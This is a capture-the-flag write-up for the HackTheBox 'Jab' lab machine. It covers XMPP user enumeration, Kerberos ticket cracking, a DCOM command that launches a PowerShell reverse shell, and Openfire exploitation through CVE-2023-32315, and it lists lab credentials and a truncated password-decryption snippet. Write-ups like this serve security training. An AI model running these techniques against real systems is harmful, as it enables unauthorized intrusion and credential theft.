JAB

Recon

nmap_scan.log

DNS (Port 53)

Nothing interesting so far

Note: Since it's an actual DNS server we could add it in /etc/resolv.conf

SMB (139,445)

After cracking passwords from [[#Jabber/XMPP]]:

LDAP (389)

Certificate gives us domain name and DC domain name

enum4linux came empty handed... hmm..

HTTP (47001)

Pasted_image_20240520010728.png

No directory came up even with raft-medium-directories.txt wordlist and no subdomains were found for this port.

Jabber/XMPP

Few services are running this protocol so let's see what's going on.

Jabber: https://jabber.at/clients/ Client: https://pidgin.im

woyag:spacePasted_image_20240520015424.pngPasted_image_20240520015451.pngPasted_image_20240520014548.pngPasted_image_20240520020341.png

Not sure what happened, but after entering server IP it wouldn't let me login as woyag

New account: woyag2:Password123$

Add hostname to /etc/hostsPasted_image_20240520020445.png

There seems to be 2 rooms:test said registration is requiredtest2 seems odd.Pasted_image_20240520020556.png

Pasted_image_20240520020647.png

Looking around for features we can enumerate users:Pasted_image_20240520021234.png

For bdavis@conference.jab.htb says Offline

Accounts > Your Account > Search For Users > search.jab.htb > * > All UsersPasted_image_20240520021647.png

We can utilize Debug Window to get the table data, just repeat actions so debug window will log them:Pasted_image_20240520021947.png

Kerberos Users

Parse usernames:

Now we can try this usernames against Kerberos service:

Impacket’s GetUserSPNs.py will attempt to fetch Service Principal Names that are associated with normal user accounts. What is returned is a ticket that is encrypted with the user account’s password, which can then be bruteforced offline. sourcearrow-up-right

Creds: jmontgomery:Midnight_121

I couldn't login in via winrm and smb had nothing too. Let's try credentials against XMPP service:Pasted_image_20240520115900.png

Leaked Account

Creds: svc_openfire:!@#$%^&*(1qazxsw

Enum4linux dumps lots of information, but mainly users and groups which isn't helpful at the moment.

RPC

https://book.hacktricks.xyz/network-services-pentesting/135-pentesting-msrpc#executing-a-rce-with-valid-credentials

Impacket’s dcomexec.py provides an interactive shell on the Windows host similar to wmiexec.py, but using varying DCOM endpoints. sourcearrow-up-right

https://medium.com/@iamkumarraj/exploring-impacket-dcomexec-enhancing-active-directory-attack-capabilities-a9663d383703impacket-dcomexec -object MMC20 <domain>/<username>:'<password>'@10.x.x.x 'cmd.exe /c powershell -e <reveseshell> -silentcommand

Pasted_image_20240520122847.png

User.txt

Privilege Escalation

There are lots of Openfire processing running, worth checking out.Pasted_image_20240520130433.pngPasted_image_20240520130557.pngPasted_image_20240520130649.pngPasted_image_20240520130736.pngPasted_image_20240520130801.png

I don't think Choco has anything useful so let's go to Openfire

Openfire

The version seems to be 4.7.5

I already encountered Openfire, but version 4.7.4. [[Labs/HackTheBox/Seasonal/Season 5/SolarLab/Writeup|Writeup]]

Approach is the same:

chevron-rightOpenFireDecryptPass.javahashtag

```java import javax.crypto.Cipher; import java.security.MessageDigest; import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.IvParameterSpec;

public class OpenFireDecryptPass { public static void main(String[] argv) throws Exception { if (argv.length < 2) { System.out.println("[-] Please specify the encypted password and the "passwordKey""); return; }

}

Creds: admin:odW!!mVfbXs304kskt!QAZDVGY&@

No luck with admin password, looks like we need exploit the Openfire itself.

Port forwarding using Chisel:

Pasted_image_20240520142127.png

Login as admin: https://github.com/miko550/CVE-2023-32315

Upload jar file:Pasted_image_20240520142637.pngPasted_image_20240520142814.png

Execute powershell reverse shell:


Help used:

  • https://medium.com/@islem.meghnine/hackthebox-jab-writeup-4515ffad3bf7

  • https://blog.csdn.net/weixin_45557138/article/details/136919900

Last updated